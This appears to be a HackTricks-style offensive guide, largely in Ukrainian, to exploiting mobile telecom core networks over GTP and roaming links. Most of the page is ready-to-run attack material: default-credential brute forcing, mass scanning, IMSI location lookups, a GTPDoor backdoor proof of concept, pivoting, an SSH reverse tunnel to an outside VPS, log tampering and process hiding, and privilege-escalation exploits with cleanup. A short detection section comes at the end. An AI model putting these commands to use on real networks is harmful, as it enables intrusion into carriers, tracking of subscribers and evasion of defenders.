141 lines
8.8 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Telecom Network Exploitation (GTP / Roaming Environments)
{{#include ../../banners/hacktricks-training.md}}
> [!NOTE]
> Протоколи мобільної ядра (GPRS Tunnelling Protocol GTP) часто проходять через напівдостовірні GRX/IPX роумінгові магістралі. Оскільки вони використовують простий UDP з майже без аутентифікації, **будь-яка точка доступу всередині телекомунікаційного периметра зазвичай може безпосередньо досягти основних сигнальних площин**. Наступні нотатки збирають наступальні трюки, спостережені в природі проти SGSN/GGSN, PGW/SGW та інших вузлів EPC.
## 1. Recon & Initial Access
### 1.1 Default OSS / NE Accounts
Досить велика кількість елементів мережі постачальників постачається з жорстко закодованими SSH/Telnet користувачами, такими як `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … Спеціалізований словник значно підвищує успіх брутфорсу:
```bash
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
```
Якщо пристрій відкриває лише управлінський VRF, спочатку переходьте через хост-перескок (див. розділ «SGSN Emu Tunnel» нижче).
### 1.2 Виявлення хостів всередині GRX/IPX
Більшість операторів GRX все ще дозволяють **ICMP echo** через магістраль. Поєднайте `masscan` з вбудованими UDP-пробами `gtpv1`, щоб швидко відобразити слухачів GTP-C:
```bash
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
```
## 2. Перерахунок абонентів `cordscan`
The following Go tool crafts **GTP-C Create PDP Context Request** packets and logs the responses. Each reply reveals the current **SGSN / MME** serving the queried IMSI and, sometimes, the subscribers visited PLMN.
```bash
# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
# Usage (typical):
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap
```
Ключові прапори:
- `--imsi` IMSI цільового абонента
- `--oper` Домашній / HNI (MCC+MNC)
- `-w` Записати сирі пакети в pcap
Важливі константи всередині бінарного файлу можна патчити для розширення сканувань:
```
pingtimeout = 3 // seconds before giving up
pco = 0x218080
common_tcp_ports = "22,23,80,443,8080"
```
## 3. Виконання коду через GTP `GTPDoor`
`GTPDoor` є маленьким ELF-сервісом, який **прив'язує UDP 2123 та аналізує кожен вхідний GTP-C пакет**. Коли корисне навантаження починається з попередньо поділеного тегу, решта розшифровується (AES-128-CBC) та виконується через `/bin/sh -c`. Стандартний вивід/помилки ексфільтруються всередині **Echo Response** повідомлень, щоб жодна зовнішня сесія ніколи не створювалася.
Мінімальний PoC пакет (Python):
```python
import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!"
cmd = b"id;uname -a"
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
```
Виявлення:
* будь-який хост, що надсилає **незбалансовані Echo запити** до IP-адрес SGSN
* прапор версії GTP, встановлений на 1, коли тип повідомлення = 1 (Echo) відхилення від специфікації
## 4. Пивотування через ядро
### 4.1 `sgsnemu` + SOCKS5
`OsmoGGSN` постачає емулятор SGSN, здатний **встановити PDP контекст до реального GGSN/PGW**. Після переговорів Linux отримує новий інтерфейс `tun0`, доступний з роумінгового пір.
```bash
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 & # internal SOCKS proxy
```
З правильним налаштуванням hair-pinning брандмауера, цей тунель обходить VLAN, що використовуються лише для сигналізації, і приземляє вас безпосередньо в **data plane**.
### 4.2 SSH зворотний тунель через порт 53
DNS майже завжди відкритий в роумінгових інфраструктурах. Відкрийте внутрішній SSH сервіс на вашому VPS, що слухає на :53, і поверніться пізніше з дому:
```bash
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
```
Перевірте, що `GatewayPorts yes` увімкнено на VPS.
## 5. Секретні канали
| Канал | Транспорт | Декодування | Примітки |
|-------|-----------|-------------|----------|
| ICMP `EchoBackdoor` | ICMP Echo Req/Rep | 4-байтовий ключ + 14-байтові частини (XOR) | чистий пасивний слухач, без вихідного трафіку |
| DNS `NoDepDNS` | UDP 53 | XOR (ключ = `funnyAndHappy`), закодований в октетах A-запису | спостерігає за піддоменом `*.nodep` |
| GTP `GTPDoor` | UDP 2123 | AES-128-CBC об'єкт у приватному IE | змішується з легітимним GTP-C спілкуванням |
Усі імпланти реалізують монітори, які **timestomp** їхні бінарні файли та перезапускаються у разі збою.
## 6. Чек-лист ухилення від захисту
```bash
# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp
# Disable bash history
export HISTFILE=/dev/null
# Masquerade as kernel thread
echo 0 > /proc/$$/autogroup # hide from top/htop
printf '\0' > /proc/$$/comm # appears as [kworker/1]
touch -r /usr/bin/time /usr/bin/chargen # timestomp
setenforce 0 # disable SELinux
```
## 7. Підвищення привілеїв на застарілій NE
```bash
# DirtyCow CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd
# PwnKit CVE-2021-4034
python3 PwnKit.py
# Sudo Baron Samedit CVE-2021-3156
python3 exploit_userspec.py
```
Порада щодо очищення:
```bash
userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c
```
## 8. Інструменти
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` спеціалізовані інструменти, описані в попередніх розділах.
* `FScan` : внутрішні TCP сканування (`fscan -p 22,80,443 10.0.0.0/24`)
* `Responder` : LLMNR/NBT-NS підроблений WPAD
* `Microsocks` + `ProxyChains` : легке SOCKS5 півотування
* `FRP` (≥0.37) : обходження NAT / з'єднання активів
---
## Ідеї для виявлення
1. **Будь-який пристрій, окрім SGSN/GGSN, що встановлює запити на створення PDP контексту**.
2. **Нестандартні порти (53, 80, 443), що отримують SSH рукопожаття** з внутрішніх IP-адрес.
3. **Часті Echo запити без відповідних Echo відповідей** можуть вказувати на сигнали GTPDoor.
4. **Висока частота ICMP echo-reply трафіку з великими, ненульовими полями ідентифікатора/послідовності**.
## Посилання
- [Palo Alto Unit42 Проникнення в глобальні телекомунікаційні мережі](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
- 3GPP TS 29.060 Протокол тунелювання GPRS (v16.4.0)
- 3GPP TS 29.281 GTPv2-C (v17.6.0)
{{#include ../../banners/hacktricks-training.md}}